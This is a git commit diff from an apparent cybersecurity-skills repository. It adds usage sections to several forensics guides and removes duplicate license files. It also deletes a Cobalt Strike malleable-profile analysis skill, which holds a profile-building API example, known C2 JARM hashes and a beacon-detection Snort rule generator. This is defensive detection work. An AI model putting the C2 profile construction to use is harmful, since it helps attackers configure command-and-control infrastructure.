mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 06:04:56 +03:00
Remove backed-up duplicate skills to fix validation pipeline
This commit is contained in:
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Hindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing browser forensics with hindsight
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+ with Hindsight installed (`pip install pyhindsight`)
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,60 +0,0 @@
|
||||
---
|
||||
name: analyzing-cobalt-strike-malleable-profiles
|
||||
description: >
|
||||
Parses Cobalt Strike malleable C2 profiles using pyMalleableC2 to extract beacon
|
||||
configuration, HTTP communication patterns, and sleep/jitter settings. Combines with
|
||||
JARM TLS fingerprinting to detect C2 servers on the network. Use when investigating
|
||||
suspected Cobalt Strike infrastructure or building detection signatures for C2 traffic.
|
||||
domain: cybersecurity
|
||||
subdomain: security-operations
|
||||
tags: [analyzing, cobalt, strike, malleable]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Analyzing Cobalt Strike Malleable Profiles
|
||||
|
||||
## Instructions
|
||||
|
||||
Parse malleable C2 profiles to extract IOCs and detection opportunities using the
|
||||
pyMalleableC2 library. Combine with JARM fingerprinting to identify C2 servers.
|
||||
|
||||
```python
|
||||
from malleablec2 import Profile
|
||||
|
||||
# Parse a malleable profile from file
|
||||
profile = Profile.from_file("amazon.profile")
|
||||
|
||||
# Extract global options (sleep, jitter, user-agent)
|
||||
print(profile.ast.pretty())
|
||||
|
||||
# Access HTTP-GET block URIs and headers for network signatures
|
||||
# Access HTTP-POST block for data exfiltration patterns
|
||||
# Generate JARM fingerprints for known C2 infrastructure
|
||||
```
|
||||
|
||||
Key analysis steps:
|
||||
1. Parse the malleable profile to extract HTTP-GET/POST URI patterns
|
||||
2. Extract User-Agent strings and custom headers for IDS signatures
|
||||
3. Identify sleep time and jitter for beaconing detection thresholds
|
||||
4. Scan suspect IPs with JARM to match known C2 fingerprint hashes
|
||||
5. Cross-reference extracted IOCs with network traffic logs
|
||||
|
||||
## Examples
|
||||
|
||||
```python
|
||||
# Parse profile and extract detection indicators
|
||||
from malleablec2 import Profile
|
||||
p = Profile.from_file("cobaltstrike.profile")
|
||||
print(p) # Reconstructed source
|
||||
|
||||
# JARM scan a suspect C2 server
|
||||
import subprocess
|
||||
result = subprocess.run(
|
||||
["python3", "jarm.py", "suspect-server.com"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
print(result.stdout)
|
||||
# Compare fingerprint against known CS JARM hashes
|
||||
```
|
||||
@@ -1,69 +0,0 @@
|
||||
# API Reference: Analyzing Cobalt Strike Malleable Profiles
|
||||
|
||||
## pyMalleableC2
|
||||
|
||||
```python
|
||||
from malleablec2 import Profile
|
||||
from malleablec2.components import HttpGetBlock, HttpPostBlock, ClientBlock, ServerBlock
|
||||
|
||||
# Parse from file or string
|
||||
p = Profile.from_file("amazon.profile")
|
||||
p = Profile.from_string(code_string)
|
||||
p = Profile.from_scratch()
|
||||
|
||||
# Set global options
|
||||
p.set_option("sleeptime", "3000")
|
||||
p.set_option("jitter", "0")
|
||||
p.set_option("pipename", "mojo__##")
|
||||
|
||||
# HTTP blocks
|
||||
http_get = HttpGetBlock()
|
||||
http_get.set_option("uri", "/updates")
|
||||
client = ClientBlock()
|
||||
client.add_statement("header", "Accept", "*/*")
|
||||
http_get.add_code_block(client)
|
||||
p.add_code_block(http_get)
|
||||
|
||||
# AST and reconstruction
|
||||
print(p.ast.pretty()) # Display AST
|
||||
print(p) # Reconstruct source
|
||||
```
|
||||
|
||||
## JARM TLS Fingerprinting
|
||||
|
||||
```bash
|
||||
# Scan a single host
|
||||
python3 jarm.py www.example.com
|
||||
|
||||
# Scan with specific port
|
||||
python3 jarm.py 192.168.1.1 -p 8443
|
||||
|
||||
# Batch scan from file
|
||||
python3 jarm.py -i targets.txt -o results.csv
|
||||
```
|
||||
|
||||
Fingerprint format: 62-char hybrid hash
|
||||
- First 30 chars: cipher + TLS version (10 handshakes x 3 chars)
|
||||
- Last 32 chars: truncated SHA256 of cumulative extensions
|
||||
|
||||
## Known Cobalt Strike JARM Hashes
|
||||
|
||||
| JARM Hash | Description |
|
||||
|-----------|-------------|
|
||||
| `07d14d16d21d21d07c42d41d00041d...` | CS default config |
|
||||
| `07d14d16d21d21d00042d41d00041d...` | CS with Java 11 |
|
||||
|
||||
## dissect.cobaltstrike (Alternative)
|
||||
|
||||
```python
|
||||
from dissect.cobaltstrike import beacon
|
||||
b = beacon.BeaconConfig.from_file("beacon.bin")
|
||||
print(b.protocol, b.port, b.sleeptime)
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2
|
||||
- JARM scanner: https://github.com/salesforce/jarm
|
||||
- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike
|
||||
- C2 JARM list: https://github.com/cedowens/C2-JARM
|
||||
@@ -1,174 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for analyzing Cobalt Strike malleable C2 profiles and JARM fingerprinting."""
|
||||
|
||||
import os
|
||||
import json
|
||||
import subprocess
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
|
||||
from malleablec2 import Profile
|
||||
|
||||
|
||||
def extract_profile_indicators(profile_path):
|
||||
"""Extract detection indicators from a malleable C2 profile."""
|
||||
with open(profile_path) as f:
|
||||
content = f.read()
|
||||
profile = Profile.from_string(content)
|
||||
indicators = {
|
||||
"file": str(profile_path),
|
||||
"source_lines": len(content.splitlines()),
|
||||
"reconstructed": str(profile),
|
||||
}
|
||||
keywords = ["sleeptime", "jitter", "useragent", "pipename", "host_stage",
|
||||
"dns_idle", "dns_sleep", "spawnto_x86", "spawnto_x64"]
|
||||
options = {}
|
||||
for kw in keywords:
|
||||
for line in content.splitlines():
|
||||
stripped = line.strip().rstrip(";").strip()
|
||||
if kw in stripped.lower() and "set " in stripped.lower():
|
||||
parts = stripped.split('"')
|
||||
if len(parts) >= 2:
|
||||
options[kw] = parts[1]
|
||||
indicators["global_options"] = options
|
||||
uris = []
|
||||
for line in content.splitlines():
|
||||
if "set uri" in line.strip().lower():
|
||||
parts = line.strip().split('"')
|
||||
if len(parts) >= 2:
|
||||
uris.append(parts[1])
|
||||
indicators["uris"] = uris
|
||||
headers = []
|
||||
for line in content.splitlines():
|
||||
stripped = line.strip()
|
||||
if "header " in stripped.lower() and '"' in stripped:
|
||||
parts = stripped.split('"')
|
||||
if len(parts) >= 4:
|
||||
headers.append({"name": parts[1], "value": parts[3]})
|
||||
indicators["custom_headers"] = headers
|
||||
return indicators
|
||||
|
||||
|
||||
def scan_directory_profiles(directory):
|
||||
"""Scan a directory for malleable C2 profiles and extract indicators."""
|
||||
results = []
|
||||
for path in Path(directory).rglob("*.profile"):
|
||||
try:
|
||||
indicators = extract_profile_indicators(str(path))
|
||||
results.append(indicators)
|
||||
except Exception as e:
|
||||
results.append({"file": str(path), "error": str(e)})
|
||||
return results
|
||||
|
||||
|
||||
KNOWN_CS_JARM = {
|
||||
"07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1":
|
||||
"Cobalt Strike (default)",
|
||||
"07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2":
|
||||
"Cobalt Strike (Java 11)",
|
||||
}
|
||||
|
||||
|
||||
def compute_jarm_fingerprint(host, port=443):
|
||||
"""Compute JARM fingerprint by invoking the salesforce/jarm scanner."""
|
||||
jarm_script = os.getenv("JARM_SCRIPT", "jarm.py")
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["python3", jarm_script, host, "-p", str(port)],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
for line in result.stdout.splitlines():
|
||||
if len(line.strip()) >= 62:
|
||||
return line.strip().split()[-1]
|
||||
return result.stdout.strip()
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def check_jarm_against_known(fingerprint):
|
||||
"""Check a JARM fingerprint against known Cobalt Strike signatures."""
|
||||
for jarm_hash, description in KNOWN_CS_JARM.items():
|
||||
if fingerprint.strip() == jarm_hash:
|
||||
return {"match": True, "description": description, "fingerprint": fingerprint}
|
||||
return {"match": False, "fingerprint": fingerprint}
|
||||
|
||||
|
||||
def batch_jarm_scan(targets, port=443):
|
||||
"""Scan multiple targets for JARM fingerprints and check against known CS hashes."""
|
||||
results = []
|
||||
for target in targets:
|
||||
fp = compute_jarm_fingerprint(target, port)
|
||||
match = check_jarm_against_known(fp)
|
||||
match["target"] = target
|
||||
results.append(match)
|
||||
return results
|
||||
|
||||
|
||||
def generate_snort_rules(indicators_list):
|
||||
"""Generate Snort/Suricata rules from extracted profile indicators."""
|
||||
rules = []
|
||||
sid = 1000001
|
||||
for ind in indicators_list:
|
||||
for uri in ind.get("uris", []):
|
||||
rules.append(
|
||||
f'alert http $HOME_NET any -> $EXTERNAL_NET any '
|
||||
f'(msg:"CS Beacon URI {uri}"; '
|
||||
f'content:"{uri}"; http_uri; sid:{sid}; rev:1;)'
|
||||
)
|
||||
sid += 1
|
||||
ua = ind.get("global_options", {}).get("useragent", "")
|
||||
if ua:
|
||||
rules.append(
|
||||
f'alert http $HOME_NET any -> $EXTERNAL_NET any '
|
||||
f'(msg:"CS Beacon User-Agent"; '
|
||||
f'content:"{ua}"; http_header; sid:{sid}; rev:1;)'
|
||||
)
|
||||
sid += 1
|
||||
return rules
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Cobalt Strike Malleable Profile Analyzer")
|
||||
parser.add_argument("--profile", help="Path to a single malleable C2 profile")
|
||||
parser.add_argument("--directory", help="Directory of malleable profiles")
|
||||
parser.add_argument("--jarm-targets", nargs="*", help="Hosts to JARM fingerprint")
|
||||
parser.add_argument("--output", default="cs_analysis_report.json")
|
||||
parser.add_argument("--action", choices=[
|
||||
"parse", "scan_dir", "jarm", "generate_rules", "full_analysis"
|
||||
], default="full_analysis")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}}
|
||||
|
||||
if args.action in ("parse", "full_analysis") and args.profile:
|
||||
indicators = extract_profile_indicators(args.profile)
|
||||
report["findings"]["profile_indicators"] = indicators
|
||||
print(f"[+] Parsed: {args.profile} ({len(indicators.get('uris', []))} URIs)")
|
||||
|
||||
if args.action in ("scan_dir", "full_analysis") and args.directory:
|
||||
results = scan_directory_profiles(args.directory)
|
||||
report["findings"]["directory_scan"] = results
|
||||
print(f"[+] Scanned {len(results)} profiles in {args.directory}")
|
||||
|
||||
if args.action in ("jarm", "full_analysis") and args.jarm_targets:
|
||||
jarm_results = batch_jarm_scan(args.jarm_targets)
|
||||
report["findings"]["jarm_scan"] = jarm_results
|
||||
matches = [r for r in jarm_results if r.get("match")]
|
||||
print(f"[+] JARM: {len(jarm_results)} scanned, {len(matches)} CS matches")
|
||||
|
||||
if args.action in ("generate_rules", "full_analysis"):
|
||||
profiles = report["findings"].get("directory_scan", [])
|
||||
if not profiles and args.profile:
|
||||
profiles = [report["findings"].get("profile_indicators", {})]
|
||||
rules = generate_snort_rules(profiles)
|
||||
report["findings"]["snort_rules"] = rules
|
||||
print(f"[+] Generated {len(rules)} Snort rules")
|
||||
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -16,3 +16,18 @@ license: Apache-2.0
|
||||
|
||||
Parse auditd logs to detect file access violations, privilege escalation,
|
||||
suspicious syscalls, and unauthorized process execution.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing linux audit logs for intrusion
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with log analysis concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Windows LNK (shortcut) files and Jump Lists are critical forensic artifacts that provide evidence of file access, program execution, and user behavior. LNK files are created automatically when a user opens a file through Windows Explorer or the Open/Save dialog, storing metadata about the target file including its original path, timestamps, volume serial number, NetBIOS name, and MAC address of the host system. Jump Lists, introduced in Windows 7, extend this by maintaining per-application lists of recently and frequently accessed files. These artifacts persist even after the target files are deleted, making them invaluable for establishing that a user accessed specific files at specific times.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing lnk file and jump list artifacts
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- LECmd (Eric Zimmerman) for LNK file parsing
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
The NTFS Master File Table ($MFT) is the central metadata repository for every file and directory on an NTFS volume. Each file is represented by at least one 1024-byte MFT record containing attributes such as $STANDARD_INFORMATION (timestamps, permissions), $FILE_NAME (name, parent directory, timestamps), and $DATA (file content or cluster run pointers). When a file is deleted, its MFT record is marked as inactive (InUse flag cleared) but the metadata remains until the entry is reallocated by a new file. This persistence makes MFT analysis a primary technique for recovering deleted file evidence, reconstructing file system timelines, and detecting anti-forensic activity such as timestomping.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing mft for deleted file recovery
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Forensic disk image (E01, raw/dd, VMDK, or VHDX format)
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Microsoft Outlook PST (Personal Storage Table) and OST (Offline Storage Table) files are critical evidence sources in digital forensics investigations. PST files store email messages, calendar events, contacts, tasks, and notes in a proprietary binary format based on the MAPI (Messaging Application Programming Interface) property system. Forensic analysis of these files enables recovery of deleted emails (from the Recoverable Items folder), extraction of email headers for tracing message routes, analysis of attachments for malware or exfiltrated data, and reconstruction of communication patterns. Modern PST files use Unicode format with 4KB pages and can grow up to 50GB, while legacy ANSI format is limited to 2GB.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing outlook pst for email forensics
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- libpff/pffexport (open-source PST parser)
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
